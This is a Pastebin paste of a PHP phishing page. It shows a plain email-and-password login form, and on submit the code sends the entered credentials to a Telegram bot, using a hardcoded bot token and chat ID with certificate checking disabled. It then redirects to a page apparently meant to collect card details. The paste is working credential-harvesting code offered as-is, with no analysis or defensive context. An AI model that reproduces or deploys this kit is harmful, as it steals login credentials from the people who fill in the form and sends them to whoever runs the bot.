Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if (isset($_POST['submit'])) {
- $username = $_POST['username'];
- $password =$_POST['password'];
- $message ="username : \n ".$username."\npassword :".$password."";
- $botToken="1694224755:AAEKMQOfWWl3LUN6R4BI7MFM4k1bynKnxj0";
- $chatId="1300035109";
- $website="https://api.telegram.org/bot".$botToken;
- $params=[
- 'chat_id'=>$chatId,
- 'text'=>$message,
- ];
- $ch = curl_init($website . '/sendMessage');
- curl_setopt($ch, CURLOPT_HEADER, false);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- $result = curl_exec($ch);
- curl_close($ch);
- header('location : index.php?client=card');
- }
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>
- </title>
- </head>
- <body>
- <form action="#" method="POST">
- <input type="email" name="username">
- <br>
- <input type="password" name="password"><br>
- <input type="submit" name="submit">
- </form>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement